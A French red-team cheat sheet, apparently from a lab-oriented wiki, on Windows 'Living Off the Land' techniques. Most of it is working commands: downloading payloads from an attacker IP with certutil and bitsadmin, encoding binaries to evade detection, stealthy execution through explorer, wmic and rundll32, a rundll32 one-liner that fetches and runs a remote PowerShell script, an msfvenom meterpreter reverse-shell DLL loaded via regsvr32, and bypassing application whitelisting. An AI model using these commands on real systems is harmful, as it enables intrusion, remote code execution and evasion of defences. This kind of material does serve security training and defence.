Skip to main content

[Windows] Living Off the Land

Introduction

Le terme de Living Off The Land signifie se débrouiller avec les moyens du bord et donc avec les outils déjà présents dans notre contexte pour du Red teaming.

L'intérêt d'utiliser des outils déjà présent sont multiples :

  • Ne pas éveiller les soupçons.
  • L'utilisation d'outils externe est impossible pour une raison quelconque.

image.png

LOLBAS

Ce projet réunis les techniques et outils de Living Off The Land :

Manuel

Télécharger un fichier depuis un serveur HTTP

Il est possible de télécharger un fichier avec certutil.exe bien qu'il soit initialement conçu pour gérer les certificats sur Windows :

certutil -URLcache -split -f <URL> <OUTPUT>

Vous pouvez aussi utiliser BitsAdmin :

bitsadmin.exe /transfer /Download /priority Foreground http://<Attacker_IP>/payload.exe c:\Users\thm\Desktop\payload.exe

Télécharger un fichier depuis un serveur SMB

Grâce à l'outil findstr, il est possible de télécharger un fichier depuis un partage samba :

findstr /V dummystring \\MachineName\ShareFolder\test.exe > c:\Windows\Temp\test.exe

dummystring correspond à une chaîne non présente dans le fichier recherché.

Encoder un fichier

Avec certutil, on peut encoder un fichier et le rendre bien plus difficile à détecter :

certutil -encode <INPUT_FILE> <OUTPUT_ENCODED_FILE>

Vous pouvez encoder vos binaires de cette façon.

Exécuter un binaire

L'exécution de binaire peut se faire de manière traditionnelle via le cmd ou depuis le bureau.
Cependant, il existe des manières d'exécuter un fichier de manière plus discrète notamment avec l'explorateur de fichier qui sera le parent de notre processus si on exécute notre binaire de la façon suivante :

explorer.exe /root,"C:\Windows\System32\payload.exe"

On peut aussi le faire avec WMIC :

wmic.exe process call create payload

Le payload ne doit pas comporter d'extension (.exe) dans la commande !

On peut aussi utiliser RunDLL pour exécuter des programmes ou du code Javascript ou même Powershell :

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"payload\");window.close()");

Le payload ne doit pas comporter d'extension (.exe) dans la commande !

Et pour exécuter un script Powershell présent sur un serveur web distant :

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://AttackBox_IP/script.ps1');");

Importation de DLL corrompue

Avec l'utilitaire regsvr32, il est possible d'exécuter une DLL corrompue.

Tout d'abord, créez votre payload (DLL corrompue) avec Metasploit :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f dll -a x86 > live0fftheland.dll 

Trouvez un moyen de la téléverser sur la machine victime puis lancez cette commande :

c:\Windows\System32\regsvr32.exe c:\Users\thm\Downloads\live0fftheland.dll

Vous pouvez aussi utiliser différentes options pour essayer d'être plus discret :

c:\Windows\System32\regsvr32.exe /s /n /u /i:http://example.com/file.sct Downloads\live0fftheland.dll

Lors de l'exécution, vous devriez obtenir un reverse shell et ainsi contourner le whitelisting d'application de Windows.

Contournement du whitelisting d'application

Parfois, Windows autorise seulement certaines applications à se démarrer par sécurité.

Cependant, cette sécurité ne prend pas en compte le fait que certaines applications peuvent être lancées à partir d'autres applications légitimes telles que Bash qui a été implémentée dans Windows 10 et Windows Server 19 à travers WSL :

bash.exe -c "payload.exe"